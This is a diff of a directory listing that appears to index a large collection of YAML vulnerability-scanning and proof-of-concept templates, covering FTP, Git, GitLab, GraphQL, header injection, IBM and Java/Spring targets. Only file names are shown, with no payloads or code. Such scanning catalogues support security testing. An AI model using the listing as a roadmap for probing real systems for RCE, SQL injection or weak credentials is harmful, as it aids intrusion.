-./poc/favicon/favicon-detection-7441.yaml ./poc/favicon/favicon-detection-7442.yaml ./poc/favicon/favicon-detection-7443.yaml -./poc/favicon/favicon-detection-7444.yaml ./poc/favicon/favicon-detection-7445.yaml +./poc/favicon/favicon-detection-7446.yaml ./poc/favicon/favicon-detection.yaml ./poc/favicon/favicon-rotator-6f8bd28dbfbd78a39c26211650d54ded.yaml ./poc/favicon/favicon-rotator.yaml @@ -46219,17 +46518,21 @@ ./poc/favicon/shockingly-simple-favicon-e3d8720dce4306d0413044c96beaeda8.yaml ./poc/favicon/shockingly-simple-favicon.yaml ./poc/favicon/site-favicon-c2dc6ec1fd113287eb1203811fdddd6b.yaml +./poc/favicon/site-favicon.yaml ./poc/favicon/splunk-favicon.yaml ./poc/ftp/Joomla-sqli-aceftp.yaml ./poc/ftp/Wordpress-MiwoFTP_Plugins-ArbitraryFileDownload.yaml +./poc/ftp/aws-sftp-detect.yaml ./poc/ftp/crush-ftp-detect-1270.yaml ./poc/ftp/crush-ftp-detect-1271.yaml -./poc/ftp/crush-ftp-detect-1272.yaml ./poc/ftp/crush-ftp-detect.yaml ./poc/ftp/crush-ftp-login-1273.yaml ./poc/ftp/crush-ftp-login-1274.yaml +./poc/ftp/crush-ftp-login-1275.yaml ./poc/ftp/crush-ftp-login.yaml +./poc/ftp/crushftp-anonymous-login.yaml ./poc/ftp/dahua-smart-park-deleteftp-rce.yaml +./poc/ftp/dionaea-ftp-honeypot-detect.yaml ./poc/ftp/dionaea-ftp-honeypot-detection.yaml ./poc/ftp/ftp-access-9c71f0b07ba764916826973d20e9aa15.yaml ./poc/ftp/ftp-access.yaml @@ -46238,10 +46541,12 @@ ./poc/ftp/ftp-credentials-exposure.yaml ./poc/ftp/ftp-default-credentials.yaml ./poc/ftp/ftp-default-creds.yaml +./poc/ftp/ftp-weak-credentials-7569.yaml ./poc/ftp/ftp-weak-credentials-7570.yaml ./poc/ftp/ftp-weak-credentials.yaml ./poc/ftp/ftpconfig-7565.yaml -./poc/ftp/ftpconfig-7566.yaml +./poc/ftp/ftpconfig.yaml +./poc/ftp/gnu-inetutils-ftpd-detect.yaml ./poc/ftp/mainwp-updraftplus-extension-32da2ccdaaac8b19165da0cc67dc1c8d.yaml ./poc/ftp/mainwp-updraftplus-extension-3642dbf393631c48d93989f2e01cf01e.yaml ./poc/ftp/mainwp-updraftplus-extension-3f55e7d43f06ab4ff2d01d3e625f48fc.yaml @@ -46260,6 +46565,8 @@ ./poc/ftp/media-from-ftp-plugin.yaml ./poc/ftp/media-from-ftp.yaml ./poc/ftp/microsoft-ftp-service-detect.yaml +./poc/ftp/microsoft-ftp-service.yaml +./poc/ftp/mikrotik-ftp-server-detect.yaml ./poc/ftp/miwoftp-1ccecea1b06bb5543311c7e7c22884af.yaml ./poc/ftp/miwoftp-457fbae3e83c68e049e33c30d750cd91.yaml ./poc/ftp/miwoftp-59c6a8aa3bf5ae39153e4a34d5c9b6da.yaml @@ -46273,6 +46580,7 @@ ./poc/ftp/miwoftp-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/ftp/miwoftp-plugin.yaml ./poc/ftp/miwoftp.yaml +./poc/ftp/moveit-sftp-detect.yaml ./poc/ftp/myftp-ftp-like-plugin-for-wordpress-2e65eb44930764314575680338c53cfa.yaml ./poc/ftp/myftp-ftp-like-plugin-for-wordpress-b1b5b63ae14a616874a62619c6882df5.yaml ./poc/ftp/myftp-ftp-like-plugin-for-wordpress-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -46283,18 +46591,21 @@ ./poc/ftp/mywebftp.yaml ./poc/ftp/net2ftp.yaml ./poc/ftp/nowayer-ftp.yaml +./poc/ftp/proftpd-backdoor.yaml ./poc/ftp/proftpd-config-9666.yaml ./poc/ftp/proftpd-config-9667.yaml +./poc/ftp/proftpd-server-detect.yaml ./poc/ftp/serv-u-ftp.yaml ./poc/ftp/sftp-config-exposure.yaml ./poc/ftp/sftp-config.yaml ./poc/ftp/sftp-credentials-exposure-1.yaml ./poc/ftp/sftp-credentials-exposure-2.yaml -./poc/ftp/solarwinds-servuftp-detect-10360.yaml ./poc/ftp/solarwinds-servuftp-detect-10361.yaml +./poc/ftp/solarwinds-servuftp-detect-10362.yaml ./poc/ftp/solarwinds-servuftp-detect.yaml +./poc/ftp/tftp-detect.yaml ./poc/ftp/titan-ftp.yaml -./poc/ftp/unauth-ftp-10940.yaml +./poc/ftp/unauth-ftp-10939.yaml ./poc/ftp/unauth-ftp-10941.yaml ./poc/ftp/unauth-ftp-10942.yaml ./poc/ftp/unauth-ftp.yaml @@ -46340,9 +46651,9 @@ ./poc/ftp/wanhu-oa-download-ftp-file-read.yaml ./poc/ftp/wanhuOA-download-ftp.yaml ./poc/ftp/web-ftp-detect-11135.yaml -./poc/ftp/web-ftp-detect-11136.yaml ./poc/ftp/web-ftp-detect-11137.yaml ./poc/ftp/web-ftp-detect-11138.yaml +./poc/ftp/wing-ftp-detect.yaml ./poc/ftp/wing-ftp-server.yaml ./poc/ftp/wordpress-updraftplus-pem-key-11325.yaml ./poc/ftp/wordpress-updraftplus-pem-key-11326.yaml @@ -46352,16 +46663,18 @@ ./poc/ftp/ws-ftp-log.yaml ./poc/ftp/ws_ftp-server-web-transfer.yaml ./poc/ftp/ws_ftp-ssh-detect.yaml +./poc/ftp/xlight-ftp-service-detect.yaml ./poc/fuzz/0xlfifuzz.yaml ./poc/fuzz/adminer-panel-fuzz-71.yaml ./poc/fuzz/adminer-panel-fuzz-72.yaml +./poc/fuzz/adminer-panel-fuzz-73.yaml ./poc/fuzz/adminer-panel-fuzz.yaml ./poc/fuzz/aem-fuzz.yaml ./poc/fuzz/alfabet-param-fuzzer.yaml ./poc/fuzz/blind_xss_fuzz_param.yaml ./poc/fuzz/cache-poisoning-fuzz.yaml -./poc/fuzz/fuzz-mode.yaml ./poc/fuzz/fuzz-oauth.yaml +./poc/fuzz/fuzz-query.yaml ./poc/fuzz/fuzz-type.yaml ./poc/fuzz/fuzz-xxe.yaml ./poc/fuzz/fuzzing-xss-get-params-html-attribute-injection.yaml @@ -46373,7 +46686,6 @@ ./poc/fuzz/generic-lfi-fuzzing.yaml ./poc/fuzz/get_fuzzing.yaml ./poc/fuzz/lfi-fuzz.yaml -./poc/fuzz/lfi-linux-fuzz.yaml ./poc/fuzz/linux-lfi-fuzz.yaml ./poc/fuzz/linux-lfi-fuzzing.yaml ./poc/fuzz/log4j-fuzz-head-poc-v1.yaml @@ -46407,6 +46719,7 @@ ./poc/gcloud/gcp-bucket-enum.yaml ./poc/gcloud/gcp-firebase-app-enum.yaml ./poc/gcloud/gcp-firebase-rtdb-enum.yaml +./poc/gcloud/gcp-service-account-11851.yaml ./poc/gcloud/gcp-service-account-7575.yaml ./poc/gcloud/gcp-service-account.yaml ./poc/gcloud/nktagcloud-a8e6501893b16cbc2185c791f71d5631.yaml @@ -46430,10 +46743,9 @@ ./poc/git/Gitlog.yaml ./poc/git/apabi-digital-resource-platform.yaml ./poc/git/api-github-429.yaml -./poc/git/api-gitlab-430.yaml -./poc/git/api-gitlab-431.yaml ./poc/git/api-gitlab.yml ./poc/git/axiom-digitalocean-key-exposure-665.yaml +./poc/git/axiom-digitalocean-key-exposure-666.yaml ./poc/git/axiom-digitalocean-key-exposure-667.yaml ./poc/git/axiom-digitalocean-key-exposure-668.yaml ./poc/git/cgit.yaml @@ -46470,6 +46782,8 @@ ./poc/git/digital-publications-by-supsystic.yaml ./poc/git/digital-store-384d4c7cb6b861c852bb07f2560edc50.yaml ./poc/git/digital-store.yaml +./poc/git/digital-watchdog-default-login.yaml +./poc/git/digital-watchdog-panel.yaml ./poc/git/digitalguardian-system.yaml ./poc/git/digitalocean-access-token.yaml ./poc/git/digitalocean-personal-access.yaml @@ -46479,6 +46793,7 @@ ./poc/git/digitalrebar-provision-ui.yaml ./poc/git/digitalrebar-traversal-6996.yaml ./poc/git/digitalrebar-traversal-6997.yaml +./poc/git/digitalrebar-traversal.yaml ./poc/git/digits-9b6730e2c3d90bc9ed956d88efa939c8.yaml ./poc/git/digits.yaml ./poc/git/easy-digital-downloads-042823f4bd6aef84b6a022bbda290558.yaml @@ -46541,7 +46856,6 @@ ./poc/git/exposed-gitworkflows.yaml ./poc/git/git-config-7633.yaml ./poc/git/git-config-7634.yaml -./poc/git/git-config-7635.yaml ./poc/git/git-config-7636.yaml ./poc/git/git-config-7637.yaml ./poc/git/git-config-7638.yaml @@ -46554,6 +46868,7 @@ ./poc/git/git-config-nginxoffbyslash-5.yaml ./poc/git/git-config-nginxoffbyslash-6.yaml ./poc/git/git-config-nginxoffbyslash-7.yaml +./poc/git/git-config-nginxoffbyslash-7629.yaml ./poc/git/git-config-nginxoffbyslash-7630.yaml ./poc/git/git-config-nginxoffbyslash-7631.yaml ./poc/git/git-config-nginxoffbyslash-7632.yaml @@ -46564,6 +46879,7 @@ ./poc/git/git-credentials-7644.yaml ./poc/git/git-credentials-disclosure-7639.yaml ./poc/git/git-credentials-disclosure-7640.yaml +./poc/git/git-credentials-disclosure-7641.yaml ./poc/git/git-credentials-disclosure-7642.yaml ./poc/git/git-credentials.yaml ./poc/git/git-exposure.yaml @@ -46584,7 +46900,6 @@ ./poc/git/gitbook-detect-7623.yaml ./poc/git/gitbook-detect-7624.yaml ./poc/git/gitbook-detect-7625.yaml -./poc/git/gitbook-detect.yaml ./poc/git/gitbook-takeover-7627.yaml ./poc/git/gitbook-takeover.yaml ./poc/git/gitbook.yaml @@ -46612,6 +46927,7 @@ ./poc/git/github-login-check.yaml ./poc/git/github-oauth-token.yaml ./poc/git/github-outdated-key.yaml +./poc/git/github-page-config-7654.yaml ./poc/git/github-page-config-7655.yaml ./poc/git/github-page-config-7656.yaml ./poc/git/github-personal-token.yaml @@ -46619,10 +46935,10 @@ ./poc/git/github-recovery-code.yaml ./poc/git/github-refresh-token.yaml ./poc/git/github-takeover-7658.yaml +./poc/git/github-takeover-7659.yaml ./poc/git/github-takeover-7660.yaml ./poc/git/github-takeover-7661.yaml ./poc/git/github-takeover-7662.yaml -./poc/git/github-takeover-7663.yaml ./poc/git/github-takeover.yaml ./poc/git/github-workflows-disclosure-1.yaml ./poc/git/github-workflows-disclosure-10.yaml @@ -46643,8 +46959,8 @@ ./poc/git/github-workflows-disclosure-5.yaml ./poc/git/github-workflows-disclosure-6.yaml ./poc/git/github-workflows-disclosure-7.yaml +./poc/git/github-workflows-disclosure-7664.yaml ./poc/git/github-workflows-disclosure-7665.yaml -./poc/git/github-workflows-disclosure-7666.yaml ./poc/git/github-workflows-disclosure-8.yaml ./poc/git/github-workflows-disclosure-9.yaml ./poc/git/github-workflows-disclosure.yaml @@ -46668,13 +46984,14 @@ ./poc/git/gitlab-personal-accesstoken.yaml ./poc/git/gitlab-pipeline-triggertoken.yaml ./poc/git/gitlab-public-registration.yaml +./poc/git/gitlab-public-repos-7675.yaml ./poc/git/gitlab-public-repos-7676.yaml ./poc/git/gitlab-public-repos-7677.yaml -./poc/git/gitlab-public-repos-7678.yaml ./poc/git/gitlab-public-repos-7679.yaml ./poc/git/gitlab-public-repos-7680.yaml ./poc/git/gitlab-public-signup-7681.yaml ./poc/git/gitlab-public-signup-7682.yaml +./poc/git/gitlab-public-signup-7683.yaml ./poc/git/gitlab-public-signup-7684.yaml ./poc/git/gitlab-public-signup.yaml ./poc/git/gitlab-public-snippets-1.yaml @@ -46684,11 +47001,9 @@ ./poc/git/gitlab-public-snippets-7687.yaml ./poc/git/gitlab-public-snippets-7688.yaml ./poc/git/gitlab-public-snippets-7689.yaml -./poc/git/gitlab-public-snippets-7690.yaml ./poc/git/gitlab-rce-7691.yaml ./poc/git/gitlab-rce-7692.yaml ./poc/git/gitlab-rce-7693.yaml -./poc/git/gitlab-rce.yaml ./poc/git/gitlab-runner-regtoken.yaml ./poc/git/gitlab-snippets.yaml ./poc/git/gitlab-ssrf-cve-2021-22214.yml @@ -46699,7 +47014,6 @@ ./poc/git/gitlab-user-enum-7701.yaml ./poc/git/gitlab-user-enum.yaml ./poc/git/gitlab-user-enumeration-7696.yaml -./poc/git/gitlab-user-enumeration-7697.yaml ./poc/git/gitlab-user-enumeration-7698.yaml ./poc/git/gitlab-user-enumeration.yaml ./poc/git/gitlab-user-open-api-7702.yaml @@ -46710,10 +47024,10 @@ ./poc/git/gitlab-weak-login-2.yaml ./poc/git/gitlab-weak-login-3.yaml ./poc/git/gitlab-weak-login-4.yaml +./poc/git/gitlab-weak-login-7704.yaml ./poc/git/gitlab-weak-login-7705.yaml ./poc/git/gitlab-weak-login-7706.yaml ./poc/git/gitlab-weak-login-7707.yaml -./poc/git/gitlab-weak-login.yaml ./poc/git/gitlab-workflow-7708.yaml ./poc/git/gitleak.yaml ./poc/git/gitlist-disclosure.yaml @@ -46881,10 +47195,11 @@ ./poc/google/google-analytics-premium.yaml ./poc/google/google-analytics-top-posts-widget-cb54e4843123dfb1f03fa4c29d51e0c9.yaml ./poc/google/google-analytics-top-posts-widget.yaml -./poc/google/google-api(1).yaml ./poc/google/google-api-7771.yaml +./poc/google/google-api-7772.yaml ./poc/google/google-api-key-7767.yaml ./poc/google/google-api-key-7768.yaml +./poc/google/google-api-key-7769.yaml ./poc/google/google-api-key-7770.yaml ./poc/google/google-api-key.yaml ./poc/google/google-api-keys.yaml @@ -46902,7 +47217,6 @@ ./poc/google/google-bucket-service-7774.yaml ./poc/google/google-bucket-service-7775.yaml ./poc/google/google-bucket-service-7776.yaml -./poc/google/google-bucket-service.yaml ./poc/google/google-bucket.yaml ./poc/google/google-calendar-events-68978f3e374cb6c26b2b367d579cf1b9.yaml ./poc/google/google-calendar-events-6fb70034444d4736260c193a93a52c53.yaml @@ -46927,6 +47241,7 @@ ./poc/google/google-captcha.yaml ./poc/google/google-clientid.yaml ./poc/google/google-cse-35198567be20b02bac4a92476b8cd5c8.yaml +./poc/google/google-cse.yaml ./poc/google/google-document-embedder-42146d82ed1c052d42462bc02dd60a64.yaml ./poc/google/google-document-embedder-605986c4381e2b5f086edefefbac2910.yaml ./poc/google/google-document-embedder-76b22d772f11749af8d04c6f81f4b461.yaml @@ -46940,9 +47255,8 @@ ./poc/google/google-earth-dlogin-7780.yaml ./poc/google/google-earth-dlogin-7781.yaml ./poc/google/google-earth-dlogin-7782.yaml -./poc/google/google-earth-dlogin.yaml ./poc/google/google-earthenterprise-weak-password.yaml -./poc/google/google-floc-disabled-7783.yaml +./poc/google/google-floc-disabled-7785.yaml ./poc/google/google-floc-disabled-7786.yaml ./poc/google/google-floc-disabled-7787.yaml ./poc/google/google-floc-disabled.yaml @@ -47043,6 +47357,7 @@ ./poc/google/google-pagespeed-insights-fbcd19deaa7c1356237c305cbda46ee8.yaml ./poc/google/google-pagespeed-insights.yaml ./poc/google/google-phish.yaml +./poc/google/google-places-reviews-a9b6955a2812b2fe0a13ae0f0752d58f.yaml ./poc/google/google-safebrowsing.yaml ./poc/google/google-secrets.yaml ./poc/google/google-seo-author-snippets-c7ef7a54325272053bde6fd4c9883ada.yaml @@ -47076,7 +47391,6 @@ ./poc/google/google-sitemap-plugin-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/google/google-sitemap-plugin-plugin.yaml ./poc/google/google-sitemap-plugin.yaml -./poc/google/google-storage-7788.yaml ./poc/google/google-storage-7789.yaml ./poc/google/google-storage-7790.yaml ./poc/google/google-storage-7791.yaml @@ -47135,9 +47449,9 @@ ./poc/google/mappress-google-maps-for-wordpress-b2d11f5eda98e7518ce47f4a21d37c0e.yaml ./poc/google/mappress-google-maps-for-wordpress-c2f7d5e7ad588a45b067c408f7c06c5a.yaml ./poc/google/mappress-google-maps-for-wordpress.yaml -./poc/google/metadata-google-8819.yaml ./poc/google/metadata-google-8820.yaml ./poc/google/metadata-google-8821.yaml +./poc/google/metadata-google.yaml ./poc/google/miniorange-google-authenticator-2afcc4fc5f27032add08f007731396f6.yaml ./poc/google/miniorange-google-authenticator-8e0b793ea65e2e7aa7bb1a69cac020fb.yaml ./poc/google/miniorange-google-authenticator.yaml @@ -47362,7 +47676,7 @@ ./poc/google/xml-for-google-merchant-center.yaml ./poc/google/xml-sitemap-generator-for-google-84048d0f2c99adaa353d98a86968a712.yaml ./poc/google/xml-sitemap-generator-for-google.yaml -./poc/graphite/graphite-browser-7824.yaml +./poc/graphite/graphite-browser-7825.yaml ./poc/graphite/graphite-browser-default-credential.yaml ./poc/graphite/graphite-browser-detect.yaml ./poc/graphite/graphite-browser.yaml @@ -47436,7 +47750,6 @@ ./poc/graphql/graphql-8.yaml ./poc/graphql/graphql-9.yaml ./poc/graphql/graphql-alias-batching-7826.yaml -./poc/graphql/graphql-alias-batching.yaml ./poc/graphql/graphql-apiforwp-detect.yaml ./poc/graphql/graphql-apollo-detect.yaml ./poc/graphql/graphql-ariadne-detect.yaml @@ -47444,6 +47757,7 @@ ./poc/graphql/graphql-array-batching-7828.yaml ./poc/graphql/graphql-array-batching.yaml ./poc/graphql/graphql-depth-limit.yaml +./poc/graphql/graphql-detect-7829.yaml ./poc/graphql/graphql-detect-7830.yaml ./poc/graphql/graphql-detect-7831.yaml ./poc/graphql/graphql-detect-7832.yaml @@ -47451,7 +47765,6 @@ ./poc/graphql/graphql-dianajl-detect.yaml ./poc/graphql/graphql-field-suggestion-7833.yaml ./poc/graphql/graphql-field-suggestion-7834.yaml -./poc/graphql/graphql-field-suggestion.yaml ./poc/graphql/graphql-flutter-detect.yaml ./poc/graphql/graphql-get-method-7835.yaml ./poc/graphql/graphql-get-method-7836.yaml @@ -47528,7 +47841,6 @@ ./poc/header/custom-header-images-7ee9693683b9e6a4f313fa708316db95.yaml ./poc/header/custom-header-images.yaml ./poc/header/display-via-header-7015.yaml -./poc/header/display-via-header-7017.yaml ./poc/header/display-via-header.yaml ./poc/header/email-header-footer-6477bf18cad6c823db485408d49b337b.yaml ./poc/header/email-header-footer-ff9293ba28748efa2ab9a2fe77385468.yaml @@ -47548,6 +47860,7 @@ ./poc/header/header-blind-sql-injection.yaml ./poc/header/header-blind-ssrf.yaml ./poc/header/header-blind-time-sql-injection.yaml +./poc/header/header-command-injection-7917.yaml ./poc/header/header-command-injection-7918.yaml ./poc/header/header-command-injection-7919.yaml ./poc/header/header-command-injection-7920.yaml @@ -47578,14 +47891,15 @@ ./poc/header/header_blind_xss.yaml ./poc/header/header_reflection.yaml ./poc/header/header_reflection_body.yaml -./poc/header/header_sqli.yaml ./poc/header/header_user_id.yaml ./poc/header/headless-header-action.yaml ./poc/header/hidden-data-in-headers.yaml ./poc/header/hidden-http-header-injection.yaml ./poc/header/host-header-auth-bypass.yaml +./poc/header/host-header-injection-8000.yaml ./poc/header/host-header-injection-8002.yaml ./poc/header/host-header-injection.yaml +./poc/header/host-header-poisoning.yaml ./poc/header/hostheaderpoisoning.yaml ./poc/header/http-cache-header.yaml ./poc/header/http-cors-header.yaml @@ -47595,9 +47909,9 @@ ./poc/header/http-headers-48720a0f8d87c88aeb0fd970b4ee767f.yaml ./poc/header/http-headers-a66a555d9e5fa4a2bb41c853ef9462e9.yaml ./poc/header/http-headers.yaml -./poc/header/http-hsts-header.yaml ./poc/header/http-missing-security-headers-8058.yaml ./poc/header/http-missing-security-headers.yaml +./poc/header/http-xframe-header.yaml ./poc/header/insert-headers-and-footers-07e3cd9581f59ebebf0ea2afde0b3b69.yaml ./poc/header/insert-headers-and-footers-7d5f28d00d66d203ff5a11666d3be6e5.yaml ./poc/header/insert-headers-and-footers-88eed07c6e0a2925ad63426ba88d1539.yaml @@ -47609,7 +47923,7 @@ ./poc/header/null-auth-header-auth-bypass.yaml ./poc/header/oob-header-based-interaction-9248.yaml ./poc/header/oob-header-based-interaction-9249.yaml -./poc/header/oob-header-based-interaction.yaml +./poc/header/oob-header-based-interaction-9250.yaml ./poc/header/pearl-header-builder-2ad1e0994a7bb85ac431ac6afa84db60.yaml ./poc/header/pearl-header-builder-a51f1388039630606710e61f15390639.yaml ./poc/header/pearl-header-builder.yaml @@ -47618,6 +47932,8 @@ ./poc/header/responsive-header-image-slider.yaml ./poc/header/splash-header-ae1af7b8de10cb8ae21a4838e673d47b.yaml ./poc/header/splash-header.yaml +./poc/header/sqli_header (copy 1).yaml +./poc/header/sqli_header-10504.yaml ./poc/header/sqli_header.yaml ./poc/header/sqliheader.yaml ./poc/header/sticky-header-effects-for-elementor.yaml @@ -47651,6 +47967,7 @@ ./poc/http/apache-httpd-cve-2021-40438-ssrf.yml ./poc/http/apache-httpd-cve-2021-41773-path-traversal.yml ./poc/http/apache-httpd-cve-2021-41773-rce.yml +./poc/http/apache-httpd-rce-362.yaml ./poc/http/apache-httpd-rce-363.yaml ./poc/http/apache-httpd-rce.yaml ./poc/http/axtls-embad-httpd.yaml @@ -47663,8 +47980,8 @@ ./poc/http/default-ibm-http-server.yaml ./poc/http/default-lighttpd-page-6866.yaml ./poc/http/default-lighttpd-page-6867.yaml -./poc/http/detect-dns-over-https-6969.yaml ./poc/http/detect-dns-over-https.yaml +./poc/http/dionaea-http-honeypot-detect.yaml ./poc/http/dionaea-http-honeypot-detection.yaml ./poc/http/drupal_module-hosting_https-access-bypass.yaml ./poc/http/dynaweb-httpd.yaml @@ -47683,7 +48000,6 @@ ./poc/http/http-headers-48720a0f8d87c88aeb0fd970b4ee767f.yaml ./poc/http/http-headers-a66a555d9e5fa4a2bb41c853ef9462e9.yaml ./poc/http/http-headers.yaml -./poc/http/http-hsts-header.yaml ./poc/http/http-https-remover-47b9bd782a3642df1909a36e26d86c93.yaml ./poc/http/http-https-remover-6e1ff52e2bc9789e2496baff0910e72a.yaml ./poc/http/http-https-remover-7c0d4499231fc232e325bb27484b40b7.yaml @@ -47693,16 +48009,19 @@ ./poc/http/http-multiple-matcher-condition.yaml ./poc/http/http-multiple-matcher.yaml ./poc/http/http-paths.yaml -./poc/http/http-raw-multiple.yaml +./poc/http/http-raw.yaml ./poc/http/http-trace.yaml ./poc/http/http-username-password.yaml ./poc/http/http-value-share-template-1.yaml +./poc/http/http-value-share-template-2.yaml ./poc/http/http-verb-tampering.yaml +./poc/http/http-xframe-header.yaml ./poc/http/httpbin-detection.yaml ./poc/http/httpbin-detection.yml ./poc/http/httpbin-open-redirect-8048.yaml +./poc/http/httpbin-open-redirect-8049.yaml ./poc/http/httpbin-open-redirect.yml -./poc/http/httpbin-panel-8051.yaml +./poc/http/httpbin-panel-8050.yaml ./poc/http/httpbin-panel.yaml ./poc/http/httpbin-xss-8053.yaml ./poc/http/httpbin-xss.yml @@ -47763,13 +48082,14 @@ ./poc/ibm/default-ibm-http-server.yaml ./poc/ibm/ibm-advanced-system-management-8088.yaml ./poc/ibm/ibm-advanced-system-management-8089.yaml -./poc/ibm/ibm-advanced-system-management-8090.yaml +./poc/ibm/ibm-advanced-system-management-8091.yaml ./poc/ibm/ibm-advanced-system-management.yaml ./poc/ibm/ibm-app-connect-login.yaml ./poc/ibm/ibm-aspera-version-detect.yaml ./poc/ibm/ibm-chassis-management.yaml ./poc/ibm/ibm-cics-transaction-server.yaml ./poc/ibm/ibm-cognos.yaml +./poc/ibm/ibm-d2b-database-server.yaml ./poc/ibm/ibm-db2-das.yaml ./poc/ibm/ibm-db2.yaml ./poc/ibm/ibm-dcbc-default-login.yaml @@ -47810,13 +48130,13 @@ ./poc/ibm/ibm-maximo-panel.yaml ./poc/ibm/ibm-merge-pacs.yaml ./poc/ibm/ibm-mqseries-default-login-8106.yaml +./poc/ibm/ibm-mqseries-default-login-8107.yaml ./poc/ibm/ibm-mqseries-default-login-8108.yaml -./poc/ibm/ibm-mqseries-default-login.yaml ./poc/ibm/ibm-mqseries-web-console.yaml ./poc/ibm/ibm-mqseries.yaml ./poc/ibm/ibm-note-login-1.yaml ./poc/ibm/ibm-note-login-2.yaml -./poc/ibm/ibm-note-login-8111.yaml +./poc/ibm/ibm-note-login-8110.yaml ./poc/ibm/ibm-note-login-8112.yaml ./poc/ibm/ibm-note-login.yaml ./poc/ibm/ibm-odm-detect.yaml @@ -47824,6 +48144,7 @@ ./poc/ibm/ibm-openadmin-panel.yaml ./poc/ibm/ibm-security-access-manager-8113.yaml ./poc/ibm/ibm-security-access-manager-8114.yaml +./poc/ibm/ibm-security-access-manager-8115.yaml ./poc/ibm/ibm-security-access-manager.yaml ./poc/ibm/ibm-service-assistant-8116.yaml ./poc/ibm/ibm-service-assistant-8117.yaml @@ -47848,7 +48169,6 @@ ./poc/ibm/ibm-webseal.yaml ./poc/ibm/ibm-websphere-admin-panel.yaml ./poc/ibm/ibm-websphere-panel.yaml -./poc/ibm/ibm-websphere-ssrf-8126.yaml ./poc/ibm/ibm-websphere-ssrf.yaml ./poc/ibm/ibm-websphere.yaml ./poc/ibm/ibm_openadmin_tool.yaml @@ -47873,8 +48193,8 @@ ./poc/injection/beescms_v3-login-sql-injection.yaml ./poc/injection/biometric-data-injection-registration.yaml ./poc/injection/biometric-data-injection.yaml +./poc/injection/buffalo-config-injection-798.yaml ./poc/injection/buffalo-config-injection-799.yaml -./poc/injection/buffalo-config-injection-801.yaml ./poc/injection/buffalo-config-injection.yaml ./poc/injection/chanjet-crm-get-usedspace-sql-injection.yaml ./poc/injection/cmseasy-crossall-act-php-sql-injection.yaml @@ -47885,11 +48205,11 @@ ./poc/injection/content_injection.yaml ./poc/injection/cookie-injection.yaml ./poc/injection/crlf-injection-1.yaml +./poc/injection/crlf-injection-1260.yaml ./poc/injection/crlf-injection-1261.yaml ./poc/injection/crlf-injection-1262.yaml ./poc/injection/crlf-injection-1263.yaml ./poc/injection/crlf-injection-1264.yaml -./poc/injection/crlf-injection-1265.yaml ./poc/injection/crlf-injection-2.yaml ./poc/injection/crlf-injection-3.yaml ./poc/injection/crlf-injection-4.yaml @@ -47911,11 +48231,9 @@ ./poc/injection/drupal_module-phonefield-sql-injection.yaml ./poc/injection/drupal_module-services-sql-injection.yaml ./poc/injection/drupal_module-social-sql-injection.yaml -./poc/injection/duomicms-sql-injection-7122.yaml ./poc/injection/duomicms-sql-injection-7123.yaml ./poc/injection/duomicms-sql-injection-7124.yaml ./poc/injection/duomicms-sql-injection-7125.yaml -./poc/injection/duomicms-sql-injection.yaml ./poc/injection/error-based-get-sql-injection.yaml ./poc/injection/error-based-post-sql-injection.yaml ./poc/injection/error-based-sql-injection-7249.yaml @@ -47927,8 +48245,10 @@ ./poc/injection/fuzzing-xss-get-params-html-injection.yaml ./poc/injection/fuzzing-xss-get-params-javascript-context-injection.yaml ./poc/injection/fuzzing-xss-get-params-javascript-schema-url-injection.yaml +./poc/injection/glpi-9.3.3-sql-injection.yaml ./poc/injection/header-blind-sql-injection.yaml ./poc/injection/header-blind-time-sql-injection.yaml +./poc/injection/header-command-injection-7917.yaml ./poc/injection/header-command-injection-7918.yaml ./poc/injection/header-command-injection-7919.yaml ./poc/injection/header-command-injection-7920.yaml @@ -47937,6 +48257,7 @@ ./poc/injection/hidden-command-injection.yaml ./poc/injection/hidden-http-header-injection.yaml ./poc/injection/hidden-ldap-injection.yaml +./poc/injection/host-header-injection-8000.yaml ./poc/injection/host-header-injection-8002.yaml ./poc/injection/host-header-injection.yaml ./poc/injection/injection-guard-4875992ccc89ab6c03d9298f0ea07338.yaml @@ -47972,6 +48293,7 @@ ./poc/injection/simple-crm-sql-injection-10276.yaml ./poc/injection/simple-crm-sql-injection-10277.yaml ./poc/injection/simple-crm-sql-injection-10278.yaml +./poc/injection/simple-crm-sql-injection.yaml ./poc/injection/site-map-sql-injection.yaml ./poc/injection/sql-injection.yaml ./poc/injection/ssrf-injection.yaml @@ -48028,7 +48350,6 @@ ./poc/java/SpringBoot-H2db-Rce.yaml ./poc/java/SpringBoot-Heapdump.yaml ./poc/java/SpringBoot-Metrics.yaml -./poc/java/Springboot-Heapdump.yaml ./poc/java/Springboot-Httptrace.yaml ./poc/java/Springboot-Loggers.yaml ./poc/java/Tomcat-Path-normalize-detect.yaml @@ -48043,8 +48364,9 @@ ./poc/java/apache-struts-s2-016-rce.yaml ./poc/java/apache-struts-showcase.yaml ./poc/java/apache-struts.yaml +./poc/java/apache-tomcat-CVE-2022-34305.yaml ./poc/java/apache-tomcat-cve-2022-34305.yaml -./poc/java/apache-tomcat-snoop-375.yaml +./poc/java/apache-tomcat-snoop-374.yaml ./poc/java/apache-tomcat-snoop-376.yaml ./poc/java/apache-tomcat-snoop-377.yaml ./poc/java/apache-tomcat-snoop-cookie-handling.yaml @@ -48077,26 +48399,30 @@ ./poc/java/custom-weblogic-SSRF-detect.yaml ./poc/java/default-glassfish-server-page-6852.yaml ./poc/java/default-glassfish-server-page-6853.yaml +./poc/java/default-glassfish-server-page-6854.yaml ./poc/java/default-glassfish-server-page-6855.yaml ./poc/java/default-glassfish-server-page.yaml +./poc/java/default-jetty-page-6862.yaml ./poc/java/default-jetty-page-6863.yaml ./poc/java/default-jetty-page-6864.yaml ./poc/java/default-jetty-page-6865.yaml -./poc/java/default-tomcat-page-6911.yaml +./poc/java/default-jetty-page.yaml +./poc/java/default-tomcat-page-6910.yaml ./poc/java/default-tomcat-page.yaml ./poc/java/detect-springboot-actuator.yaml ./poc/java/e-cology-springframework-directory-traversal.yaml ./poc/java/ecology-javabeanshell-rce.yaml -./poc/java/ecology-springframework-directory-traversal-7175.yaml +./poc/java/ecology-springframework-directory-traversal-7174.yaml +./poc/java/ecology-springframework-directory-traversal.yaml ./poc/java/ecology-springframework-directory-traversal.yml ./poc/java/ecology-springframework-directoryTraversal.yaml ./poc/java/exposed-alps-spring-1.yaml ./poc/java/exposed-alps-spring-2.yaml ./poc/java/exposed-alps-spring-3.yaml +./poc/java/exposed-alps-spring-7283.yaml ./poc/java/exposed-alps-spring-7284.yaml ./poc/java/exposed-alps-spring-7285.yaml 